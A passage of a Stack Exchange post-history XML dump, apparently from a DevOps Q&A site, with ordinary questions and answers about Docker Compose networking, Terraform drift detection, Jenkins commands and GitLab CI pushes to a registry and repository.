  <row Id="36655" PostHistoryTypeId="2" PostId="11931" RevisionGUID="121903d9-94ab-4fd4-bca9-32ecffa9c20e" CreationDate="2020-06-29T18:01:17.807" UserId="22962" Text="I'm studying Docker and how to properly publish my containers coding a very simple web application. It has only two containers, backend and frontend. I've published the source code here: https://github.com/sinayra/hello-private-world&#xD;&#xA;&#xD;&#xA;If I run locally each node application, its works &quot;fine&quot; (everything is public, but this is not what I want in the end of the day). Then, I created Dockerfile for each container, to try to simulate a real application. For the frontend, I exposed the port 3000 to access from the host. However, I don't want to expose the port 3333 for the host, and, because of that, my front can't fetch the data from the back.&#xD;&#xA;&#xD;&#xA;Here is my index.html from the frontend.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&lt;html&gt;&#xD;&#xA;  &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Hello Public World&lt;/title&gt;&#xD;&#xA;  &lt;/head&gt;&#xD;&#xA;  &lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Message from backend:&lt;/h1&gt;&#xD;&#xA;    &lt;p id=&quot;backend&quot;&gt;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;      const back = document.getElementById(&quot;backend&quot;);&#xD;&#xA;      const url = &quot;http://localhost:3333/&quot;; //I tried backend:3333, but without success&#xD;&#xA;&#xD;&#xA;      fetch(url)&#xD;&#xA;        .then((resp) =&gt; resp.json()) // Transform the data into json&#xD;&#xA;        .then(function (data) {&#xD;&#xA;          back.innerHTML = data.message;&#xD;&#xA;        });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;  &lt;/body&gt;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Its Dockerfile:&#xD;&#xA;```&#xD;&#xA;# pull official base image&#xD;&#xA;FROM node:lts&#xD;&#xA;&#xD;&#xA;# set working directory&#xD;&#xA;WORKDIR /usr/src/app&#xD;&#xA;&#xD;&#xA;# install app dependencies&#xD;&#xA;COPY package.json ./&#xD;&#xA;RUN npm install&#xD;&#xA;&#xD;&#xA;# add app&#xD;&#xA;COPY . ./&#xD;&#xA;&#xD;&#xA;EXPOSE 3000&#xD;&#xA;&#xD;&#xA;# start app&#xD;&#xA;CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My index.js from backend:&#xD;&#xA;```&#xD;&#xA;const express = require(&quot;express&quot;);&#xD;&#xA;const app = express();&#xD;&#xA;const cors = require(&quot;cors&quot;);&#xD;&#xA;const port = 3333;&#xD;&#xA;&#xD;&#xA;const allowlist = [&quot;http://localhost:3000&quot;];&#xD;&#xA;const corsOptions = {&#xD;&#xA;  origin: allowlist,&#xD;&#xA;  methods: &quot;GET&quot;,&#xD;&#xA;  preflightContinue: false,&#xD;&#xA;  optionsSuccessStatus: 204,&#xD;&#xA;};&#xD;&#xA;app.use(cors(corsOptions));&#xD;&#xA;&#xD;&#xA;app.use(express.json());&#xD;&#xA;app.get(&quot;/&quot;, (req, res) =&gt; {&#xD;&#xA;  console.log(&quot;GET /&quot;);&#xD;&#xA;  res.json({ message: &quot;Hello Private World!&quot; });&#xD;&#xA;});&#xD;&#xA;&#xD;&#xA;app.listen(port, () =&gt;&#xD;&#xA;  console.log(`Example app listening at http://localhost:${port}`)&#xD;&#xA;);&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Its Dockerfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# pull official base image&#xD;&#xA;FROM node:lts&#xD;&#xA;&#xD;&#xA;# set working directory&#xD;&#xA;WORKDIR /usr/src/app&#xD;&#xA;&#xD;&#xA;# install app dependencies&#xD;&#xA;COPY package.json ./&#xD;&#xA;RUN npm install&#xD;&#xA;&#xD;&#xA;# add app&#xD;&#xA;COPY . ./&#xD;&#xA;&#xD;&#xA;#EXPOSE 3333&#xD;&#xA;&#xD;&#xA;# start app&#xD;&#xA;CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And the Docker compose file&#xD;&#xA;```&#xD;&#xA;version: &quot;3.8&quot;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  backend:&#xD;&#xA;    image: helloworld-private&#xD;&#xA;    build:&#xD;&#xA;      context: ./backend&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    working_dir: /usr/src/app&#xD;&#xA;    container_name: &quot;express_container&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./backend/:/usr/src/app&#xD;&#xA;      - /usr/src/app/node_modules&#xD;&#xA;    networks: &#xD;&#xA;      - webappnetwork&#xD;&#xA;    expose:&#xD;&#xA;      - &quot;3333&quot;&#xD;&#xA;&#xD;&#xA;  web:&#xD;&#xA;    image: helloworld-public&#xD;&#xA;    build:&#xD;&#xA;      context: ./web&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    working_dir: /usr/src/app&#xD;&#xA;    container_name: &quot;liveserver_container&quot;&#xD;&#xA;    links:&#xD;&#xA;      - backend&#xD;&#xA;    volumes:&#xD;&#xA;      - ./web/:/usr/src/app&#xD;&#xA;      - /usr/src/app/node_modules&#xD;&#xA;    environment:&#xD;&#xA;      - PORT=3000&#xD;&#xA;    networks: &#xD;&#xA;      - webappnetwork&#xD;&#xA;    ports: &#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  webappnetwork:&#xD;&#xA;    driver: bridge&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there any abstraction layer that I'm missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36656" PostHistoryTypeId="1" PostId="11931" RevisionGUID="121903d9-94ab-4fd4-bca9-32ecffa9c20e" CreationDate="2020-06-29T18:01:17.807" UserId="22962" Text="How not expose my backend" ContentLicense="CC BY-SA 4.0" />
  <row Id="36657" PostHistoryTypeId="3" PostId="11931" RevisionGUID="121903d9-94ab-4fd4-bca9-32ecffa9c20e" CreationDate="2020-06-29T18:01:17.807" UserId="22962" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36662" PostHistoryTypeId="2" PostId="11932" RevisionGUID="edc6ab85-173d-49e3-a3f5-4d3b552e482d" CreationDate="2020-06-29T18:24:47.567" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="36663" PostHistoryTypeId="1" PostId="11932" RevisionGUID="edc6ab85-173d-49e3-a3f5-4d3b552e482d" CreationDate="2020-06-29T18:24:47.567" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="36664" PostHistoryTypeId="2" PostId="11933" RevisionGUID="c9d44f21-d25f-4b03-b040-7981c5eae57f" CreationDate="2020-06-29T18:24:47.567" UserId="210" Text="Use this tag if a question is about informado, a tool and library that is able to read and parse RSS feeds" ContentLicense="CC BY-SA 4.0" />
  <row Id="36665" PostHistoryTypeId="1" PostId="11933" RevisionGUID="c9d44f21-d25f-4b03-b040-7981c5eae57f" CreationDate="2020-06-29T18:24:47.567" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="36666" PostHistoryTypeId="5" PostId="11859" RevisionGUID="c710d126-7c59-4379-831b-27ff59c94451" CreationDate="2020-06-29T19:08:07.517" UserId="7078" Comment="added 39 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.  Gaining deep knowledge of large codebases can be a daunting task especially if the focus is diffused by interrupt-driven nature of SRE work.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;Also, the argument that SREs should spend most of their time coding and not in operations seems a little disconnected from reality. Not all operations is evil and not all code is an angel either. As someone said, &quot;the best code is the one that was never written&quot;. Running operations efficiently and reliably is an important goal for SREs and coding can be helpful in achieving that goal, though it is not the only means to get there.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team? Is it practical to rotate people between these two roles?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36668" PostHistoryTypeId="2" PostId="11934" RevisionGUID="2490638d-2910-441e-97da-98f3154f2273" CreationDate="2020-06-30T06:36:02.287" UserId="22965" Text="TL;DR; Terraform does allow you to get a lot of what you want done.&#xD;&#xA;&#xD;&#xA;Also, you might benefit from a more managed solution like AWS Fargate (which you also declare with Terraform).&#xD;&#xA;&#xD;&#xA;&gt; Whenever I use search keywords such as &quot;orchestration&quot; or &quot;server clusters&quot; or &quot;iaas&quot; I'll always end up in hundreds of results that are going to talk about containers only.&#xD;&#xA;&#xD;&#xA;That is because containers and serverless are the way of the future and most of us are moving our legacy workloads to those technologies. You should try and avoid starting new projects with an EC2 deployment pattern. In particular if you don't have the skillset to manage it all or the money to waste.&#xD;&#xA;&#xD;&#xA;&gt; My case is to be able to deploy, scale and monitor VM instances such as DO's droplets or AWS' EC2s.&#xD;&#xA;&#xD;&#xA;Amazon provides auto scaling groups that allow to scale out EC2 instances.&#xD;&#xA;&#xD;&#xA;For monitoring, you either use basic metrics (CPU, Network, etc) or you install an agent to monitor system internals (RAM and other application specific data). &#xD;&#xA;The installation of the agent (either a vendor like Datadog or AWS CloudWatch) is usually done through the instance's &quot;User Data&quot;.&#xD;&#xA;&#xD;&#xA;Terraform allows you to pass &quot;User Data&quot; scripts to your instances and has a nice templating syntax.&#xD;&#xA;&#xD;&#xA;&gt; Currently I'm using a CD tool that will use Ansible to spawn (using just REST API) and provision newly created machines. Although neither of these two tools will have capability to monitor created instances, check up on their resources usage, scale them on demand or map them with respective HTTP endpoints (assume 1 VM hosts n webservices). &#xD;&#xA;&#xD;&#xA;Correct, as mentioned before Ansible is not the right tool for the job. I would say it is terrible in the space. The main aspect is the lack of state tracking and the fact that it is procedural instead of declarative (this is how I want something done vs this is what I want my end state to be go figure it out).&#xD;&#xA;&#xD;&#xA;&gt; So to assist CD+Ansible in their jobs I need custom tools that would: keep track of number of instances, their status, DNS server, integration with ingress loadbalancer (haproxy) to keep track of which servers are up and when, what are the IP addresses and/or networks of the newly created droplets and more.&#xD;&#xA;&#xD;&#xA;If you are using an AutoScaling group, which seems to be what you are suggesting, you don't track individual instances. You define your minimum, maximum and your scaling criteria. Terraform can definitely declare and deploy the autoscaling group.&#xD;&#xA;&#xD;&#xA;The autoscaling group allows you to define health checks to kill instances.&#xD;&#xA;&#xD;&#xA;If you are in the autoscaling space you don't want to have individual DNS records for your instances (though for service discovery with HAProxy you might need to do SRV records or integrate with Cloud Map).&#xD;&#xA;Also, if you change load balancer technologies AWS ALB allows you to attach your instances to a target group without you having to do anything.&#xD;&#xA;&#xD;&#xA;Both an AWS ALB or HAProxy would also make use of health checks so your orchestration tool doesn't need to know about the health of the instances.&#xD;&#xA;&#xD;&#xA;&gt; I don't quite understand if terraform is even helpful in this case. From what I understood it'll merely help me with spawning a new droplet which I can as well do with single HTTP request. If I want to have more I need to go with paid cloud?&#xD;&#xA;&#xD;&#xA;We have thousands of instances and containers, hundreds of ALBs and a handful of lambdas all managed with Terraform. We let Fargate and other tools manage the blue/green aspects of the deployment process but Terraform defines the infra we want.&#xD;&#xA;&#xD;&#xA;&gt; What would be a helpful stack to aid my case?&#xD;&#xA;&#xD;&#xA;Move to containers, use AWS Fargate so you don't have to manage the orchestration aspects of your autoscaling, health checks, rollbacks, etc.&#xD;&#xA;&#xD;&#xA;Drop Ansible, it is not the right tool for this job. Definitely give Terraform a try." ContentLicense="CC BY-SA 4.0" />
  <row Id="36672" PostHistoryTypeId="2" PostId="11936" RevisionGUID="fab4e21d-1e23-4b3e-af91-e4cb1189f3f2" CreationDate="2020-06-30T07:29:03.470" UserId="17276" Text="I know that Terraform dose some checks before the plan and can detect some changes but not others such as detecting changes to variables on a lambda but not detecting a new secret in a secret manager.&#xD;&#xA;&#xD;&#xA;Are changes to the IAM policy something it detects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36673" PostHistoryTypeId="1" PostId="11936" RevisionGUID="fab4e21d-1e23-4b3e-af91-e4cb1189f3f2" CreationDate="2020-06-30T07:29:03.470" UserId="17276" Text="Are manual changes to an aws IAM policy detected by Terraform plan?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36674" PostHistoryTypeId="3" PostId="11936" RevisionGUID="fab4e21d-1e23-4b3e-af91-e4cb1189f3f2" CreationDate="2020-06-30T07:29:03.470" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36675" PostHistoryTypeId="2" PostId="11937" RevisionGUID="2c2fe4e8-faae-4900-b947-562a033fc4ff" CreationDate="2020-06-30T09:12:06.623" UserId="4817" Text="I assume you talk about jenkins cli?&#xD;&#xA;&#xD;&#xA;There is no command to abort the `safeRestart`.   &#xD;&#xA;Use `quiteDown`, `cancelQuietDown` instead and `safeRestart` only if needed.&#xD;&#xA;&#xD;&#xA;&gt; `safeRestart`: Puts Jenkins into the&#xD;&#xA;&gt; quiet mode, wait for existing builds to be completed, and then restart&#xD;&#xA;&gt; Jenkins  &#xD;&#xA;&gt; `quietDown`: Put Jenkins in a Quiet mode, in preparation for a restart. In that mode Jenkins don’t start any build  &#xD;&#xA;&gt; `cancelQuietDown`: Cancel the effect of the “quiet-down” command&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36679" PostHistoryTypeId="6" PostId="11931" RevisionGUID="26cd2688-2711-41d8-a3ed-4de567880723" CreationDate="2020-06-30T13:14:56.373" UserId="22962" Comment="edited tags" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;security&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36680" PostHistoryTypeId="2" PostId="11939" RevisionGUID="e151f767-462a-4029-b535-ad7ffd539c5a" CreationDate="2020-06-30T13:27:19.623" UserId="22075" Text="Came to know that there is no way to know this. Somewhere in the documentation I read that system will error out if the referenced provisioner is not present." ContentLicense="CC BY-SA 4.0" />
  <row Id="36684" PostHistoryTypeId="2" PostId="11941" RevisionGUID="66f21fe2-36ef-4e84-9d35-f8a0d368541e" CreationDate="2020-06-30T19:31:54.970" UserId="10769" Text="It would be better to use the official docs as trusted source :)&#xD;&#xA;[AWS Official Docs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36688" PostHistoryTypeId="2" PostId="11943" RevisionGUID="a43dd545-0b52-4db4-a28a-13fb66ceb9a1" CreationDate="2020-06-30T21:02:29.190" UserId="22982" Text="You can use the trim parameter:&#xD;&#xA;&#xD;&#xA;    string(name: 'some parameter', trim: true)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36692" PostHistoryTypeId="2" PostId="11945" RevisionGUID="ca78658e-c578-42f7-bd34-e6fc1eaf4dd6" CreationDate="2020-06-30T23:45:13.417" UserId="132" Text="Yes, Terraform will detect drift in IAM policies. &#xD;&#xA;&#xD;&#xA;Here is my starting point, a policy that allows full S3 and SQS access to specific resources.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_iam_policy_document&quot; &quot;task&quot; {&#xD;&#xA;  statement {&#xD;&#xA;    effect  = &quot;Allow&quot;&#xD;&#xA;    actions = [&quot;sqs:*&quot;]&#xD;&#xA;    resources = [&#xD;&#xA;      aws_sqs_queue.my-queue.arn&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  statement {&#xD;&#xA;    effect  = &quot;Allow&quot;&#xD;&#xA;    actions = [&quot;s3:*&quot;]&#xD;&#xA;    resources = [&#xD;&#xA;      &quot;${aws_s3_bucket.my_bucket.arn}&quot;,&#xD;&#xA;      &quot;${aws_s3_bucket.my_bucket.arn}/*&quot;,&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_iam_policy&quot; &quot;task_role&quot; {&#xD;&#xA;  name   = &quot;my-task-policy&quot;&#xD;&#xA;  policy = data.aws_iam_policy_document.task.json&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then manually added `ec2:DescribeInstances` to this policy via the AWS management console.&#xD;&#xA;&#xD;&#xA;To test whether it was detected or not, I ran `terraform apply -target aws_iam_policy.task_role`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;An execution plan has been generated and is shown below.&#xD;&#xA;Resource actions are indicated with the following symbols:&#xD;&#xA;  ~ update in-place&#xD;&#xA;&#xD;&#xA;Terraform will perform the following actions:&#xD;&#xA;&#xD;&#xA;  # aws_iam_policy.task_role will be updated in-place&#xD;&#xA;  ~ resource &quot;aws_iam_policy&quot; &quot;task_role&quot; {&#xD;&#xA;        arn    = &quot;arn:aws:iam::111111111111:policy/my-task-policy&quot;&#xD;&#xA;        id     = &quot;arn:aws:iam::111111111111:policy/my-task-policy&quot;&#xD;&#xA;        name   = &quot;my-task-policy&quot;&#xD;&#xA;        path   = &quot;/&quot;&#xD;&#xA;      ~ policy = jsonencode(&#xD;&#xA;          ~ {&#xD;&#xA;              ~ Statement = [&#xD;&#xA;                  ... REDACTED...&#xD;&#xA;                  - {&#xD;&#xA;                      - Action   = &quot;ec2:DescribeInstances&quot;&#xD;&#xA;                      - Effect   = &quot;Allow&quot;&#xD;&#xA;                      - Resource = &quot;*&quot;&#xD;&#xA;                      - Sid      = &quot;VisualEditor0&quot;&#xD;&#xA;                    },&#xD;&#xA;                ]&#xD;&#xA;                Version   = &quot;2012-10-17&quot;&#xD;&#xA;            }&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Plan: 0 to add, 1 to change, 0 to destroy.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So Terraform correctly detected the drift." ContentLicense="CC BY-SA 4.0" />
  <row Id="36693" PostHistoryTypeId="2" PostId="11946" RevisionGUID="2540bc7a-37ab-4de0-977f-1be0750206d9" CreationDate="2020-07-01T00:21:13.540" UserId="19963" Text="The layer that you're missing is nginx proxy. See my toy Mafia Game project here how to do it:&#xD;&#xA;&#xD;&#xA; - Shell deployment project (uses either Docker compose or k8s) - https://github.com/taleodor/mafia-deployment&#xD;&#xA; - Vue.js frontend - https://github.com/taleodor/mafia-vue&#xD;&#xA; - Express.js backend - https://github.com/taleodor/mafia-express&#xD;&#xA; - (Optional) detailed write-up about CI/CD and how it's built from DevOps prospective - https://itnext.io/building-kubernetes-cicd-pipeline-with-github-actions-argocd-and-reliza-hub-e7120b9be870&#xD;&#xA;&#xD;&#xA;The missing piece in your case is nginx proxy that you use in your UI.&#xD;&#xA;&#xD;&#xA;So what you need to do is to define some location for your api - i.e. `/api`. Then your proxy it via nginx - see my nginx configuration for the project above here - https://github.com/taleodor/mafia-vue/tree/master/nginx. At the same time it's highly recommended for performance to deploy static resources on the same nginx.&#xD;&#xA;&#xD;&#xA;Use Dockerfile to define environment variables and defaults, i.e. in my project - https://github.com/taleodor/mafia-vue/blob/master/Dockerfile&#xD;&#xA;&#xD;&#xA;Finally, you can update configuration via environment variables in your docker-compose yaml or k8s definitions." ContentLicense="CC BY-SA 4.0" />
  <row Id="36700" PostHistoryTypeId="50" PostId="11730" RevisionGUID="643b2a6d-9735-4b7d-9a60-00172b436200" CreationDate="2020-07-01T08:07:55.833" UserId="-1" />
  <row Id="36701" PostHistoryTypeId="2" PostId="11949" RevisionGUID="b9339dfe-d423-4aa8-a11c-f692b61de29b" CreationDate="2020-07-01T12:49:11.563" UserId="22991" Text="We work on multiple java web projects going on at the same time and those are all being tested on several different QA environments.  Id like to show on our support portal what projects are in what environments without having to manually updated it all the time.  I was thinking of some what to tag the build so I could just query tomcat or those linux servers themselves and show the results.  The tags would be something like &quot;August Release&quot;, &quot;Project 1&quot;, &quot;Project 2&quot;, etc.. Has anyone done something similar?  I'm looking for different options." ContentLicense="CC BY-SA 4.0" />
  <row Id="36702" PostHistoryTypeId="1" PostId="11949" RevisionGUID="b9339dfe-d423-4aa8-a11c-f692b61de29b" CreationDate="2020-07-01T12:49:11.563" UserId="22991" Text="What's in THIS environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36703" PostHistoryTypeId="3" PostId="11949" RevisionGUID="b9339dfe-d423-4aa8-a11c-f692b61de29b" CreationDate="2020-07-01T12:49:11.563" UserId="22991" Text="&lt;jenkins&gt;&lt;git&gt;&lt;java&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36704" PostHistoryTypeId="2" PostId="11950" RevisionGUID="30898594-d249-49d4-9888-59645a55443b" CreationDate="2020-07-01T17:06:59.977" UserId="397" Text="I've done this before, normally in the form of having a `/.well-known/info` endpoint available on every microservice that then returns a JSON payload with what's in it:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;	&quot;service_name&quot;: &quot;token_exchange&quot;,&#xD;&#xA;	&quot;server_id&quot;: &quot;RD1717628373&quot;,&#xD;&#xA;	&quot;commit_hash&quot;: &quot;f72a28&quot;,&#xD;&#xA;	&quot;branch&quot;: &quot;feature/content-security-policy&quot;,&#xD;&#xA;	&quot;version&quot;: &quot;v2.8.12-f72a28-prerelease1&quot;,&#xD;&#xA;	&quot;dependencies&quot;: [&#xD;&#xA;        {&#xD;&#xA;			&quot;id&quot;: &quot;db&quot;,&#xD;&#xA;			&quot;type&quot;: &quot;database&quot;,&#xD;&#xA;			&quot;endpoint&quot;: &quot;db.mysite.com&quot;&#xD;&#xA;		},&#xD;&#xA;		{&#xD;&#xA;			&quot;id&quot;: &quot;service&quot;,&#xD;&#xA;			&quot;type&quot;: &quot;microservice&quot;,&#xD;&#xA;			&quot;endpoint&quot;: &quot;RD661872834&quot;&#xD;&#xA;		}&#xD;&#xA;	]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I then have a cron job and custom dashboard that queries all of the services that it knows about and then walks the dependency tree to add any newly added dependencies.&#xD;&#xA;&#xD;&#xA;# Considerations&#xD;&#xA;&#xD;&#xA;1. **Agree a Standard** - The first step is to agree on a standard across services that you want to report on, then get them implemented.  It's hard to show the value of this kind of thing when only 1% of your estate implements it.&#xD;&#xA;2. **Start Small** - I created a command-line interface that went and queried it at first.&#xD;&#xA;3. **Security** - It could be an attack surface from an information security perspective, so test it and possibly add some authentication component to it and turn it off in production." ContentLicense="CC BY-SA 4.0" />
  <row Id="36705" PostHistoryTypeId="2" PostId="11951" RevisionGUID="41a27ef5-cf9c-4476-baf0-6831f36a25d8" CreationDate="2020-07-02T06:41:40.913" UserId="17246" Text="I have GitLab server and a separate `docker-registry`. I have created a `testuser` with a `testpassword`.&#xD;&#xA;&#xD;&#xA;My  `.gitlab-ci.yml`&#xD;&#xA;```&#xD;&#xA;image: docker:latest&#xD;&#xA;services:&#xD;&#xA;  - docker:18.09.7-dind&#xD;&#xA;    &#xD;&#xA;variables:&#xD;&#xA;  DOCKER_HOST: tcp://docker:2375/&#xD;&#xA;  DOCKER_DRIVER: overlay2&#xD;&#xA;    # See https://github.com/docker-library/docker/pull/166&#xD;&#xA;  DOCKER_TLS_CERTDIR: &quot;&quot;&#xD;&#xA;  REGISTRY: myregistry:5000/golang-test&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;  - build&#xD;&#xA; # - test&#xD;&#xA;before_script:&#xD;&#xA;  - docker login -u testuser -p testpassword  myregistry:5000&#xD;&#xA;&#xD;&#xA;build_project:&#xD;&#xA;    stage: build&#xD;&#xA;    tags:&#xD;&#xA;      - docker-ci&#xD;&#xA;    script:&#xD;&#xA;      - docker ps&#xD;&#xA;      - docker build -t $REGISTRY .&#xD;&#xA;      - docker push $REGISTRY&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When CI pipeline runs, I get following error.&#xD;&#xA;&#xD;&#xA;&gt; WARNING! Using --password via the CLI is insecure. Use&#xD;&#xA;&gt; --password-stdin. Error response from daemon: Get https://myregistry:5000/v2/: dial tcp: lookup worker1 on&#xD;&#xA;&gt; 192.168.123.456:53: no such host ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;concurrent = 1&#xD;&#xA;check_interval = 0&#xD;&#xA;&#xD;&#xA;[session_server]&#xD;&#xA;  session_timeout = 1800&#xD;&#xA;&#xD;&#xA;[[runners]]&#xD;&#xA;  name = &quot;docker-ci&quot;&#xD;&#xA;  url = &quot;https://gitlab.sample.com:8000/&quot;&#xD;&#xA;  token = &quot;89MfxRTby83ny3eTkTf2&quot;&#xD;&#xA;  tls-ca-file = &quot;/etc/gitlab-runner/certs/gitlab.sample.com.crt&quot;&#xD;&#xA;  executor = &quot;docker&quot;&#xD;&#xA;  pre_build_script = &quot;export DOCKER_HOST=tcp://docker:2375&quot;&#xD;&#xA;  [runners.custom_build_dir]&#xD;&#xA;  [runners.cache]&#xD;&#xA;    [runners.cache.s3]&#xD;&#xA;    [runners.cache.gcs]&#xD;&#xA;  [runners.docker]&#xD;&#xA;    tls_verify = false&#xD;&#xA;    image = &quot;ubuntu:18.04&quot;&#xD;&#xA;    privileged = true&#xD;&#xA;    disable_entrypoint_overwrite = false&#xD;&#xA;    oom_kill_disable = false&#xD;&#xA;    disable_cache = false&#xD;&#xA;    volumes = [&quot;/cache&quot;]&#xD;&#xA;    shm_size = 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This was after suggested modifications [here][1].&#xD;&#xA;&#xD;&#xA;I can successfully login to my `docker-registry` using `docker login -u testuser -p testpassword  https://myregistry:5000` from gitlab running server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/9359/gitlab-ci-error-during-connect-get-http-docker2375-v1-40-containers-jsonall" ContentLicense="CC BY-SA 4.0" />
  <row Id="36706" PostHistoryTypeId="1" PostId="11951" RevisionGUID="41a27ef5-cf9c-4476-baf0-6831f36a25d8" CreationDate="2020-07-02T06:41:40.913" UserId="17246" Text="Gitlab CI push to docker-registry fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="36707" PostHistoryTypeId="3" PostId="11951" RevisionGUID="41a27ef5-cf9c-4476-baf0-6831f36a25d8" CreationDate="2020-07-02T06:41:40.913" UserId="17246" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36709" PostHistoryTypeId="2" PostId="11952" RevisionGUID="cb159b1b-bd96-4064-8eb9-e549f6b8c380" CreationDate="2020-07-02T18:07:15.690" UserId="23009" Text="I want to run a scheduled pipeline on the shared runners that is able to open a merge request on my repository. I want to run a script that checks if updates for my pinned packages exists and if yes it should update these and open a merge request with a new branch. I am using https://gitlab.com and not a self hosted GitLab instance.&#xD;&#xA;&#xD;&#xA;However pushing to my repository failed because whether using ssh or https the authentication is denied.&#xD;&#xA;&#xD;&#xA;    remote: You are not allowed to upload code.&#xD;&#xA;    fatal: unable to access 'https://gitlab-ci-token:[MASKED]@gitlab.com/&lt;username&gt;/example.git/': The requested URL returned error: 403&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    remote: HTTP Basic: Access denied&#xD;&#xA;    fatal: Authentication failed for 'https://&lt;username&gt;:@gitlab.com/&lt;username&gt;/example.git/'&#xD;&#xA;&#xD;&#xA;My gitlab-ci.yml looks something like this&#xD;&#xA;&#xD;&#xA;    doSth:&#xD;&#xA;          image: image&#xD;&#xA;    &#xD;&#xA;          script:&#xD;&#xA;            - chmod 700 doSth.sh&#xD;&#xA;            - chmod 700 autoUpgrade.sh&#xD;&#xA;            - ./doSth.sh&#xD;&#xA;            - ./autoUpgrade.sh&#xD;&#xA;&#xD;&#xA;My *autoUpgrade.sh* looks something like this.&#xD;&#xA;    &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    if [[ `git status --porcelain` ]]; then&#xD;&#xA;        git config --global user.email &quot;email@example.com&quot;&#xD;&#xA;        git config --global user.name &quot;example&quot;&#xD;&#xA;        export BRANCH_NAME=change-sth-`date +&quot;%s&quot;`&#xD;&#xA;        git checkout -b ${BRANCH_NAME}&#xD;&#xA;        git add -u&#xD;&#xA;        git commit -m 'change sth.'&#xD;&#xA;        # I tried using ssh and https&#xD;&#xA;        # chmod 0400 $CI_DEPLOY_KEY&#xD;&#xA;        # GIT_SSH_COMMAND=&quot;ssh -i ${CI_USER_TOKEN}&quot; git push --set-upstream origin ${BRANCH_NAME}&#xD;&#xA;        git push https://${CI_USER}:${CI_USER_TOKEN}@gitlab.com/${CI_PROJECT_PATH}.git ${BRANCH_NAME}&#xD;&#xA;    else&#xD;&#xA;&#xD;&#xA;Is it possible to push to a new branch in my repository using the shared runners? And if yes do you know what I am doing 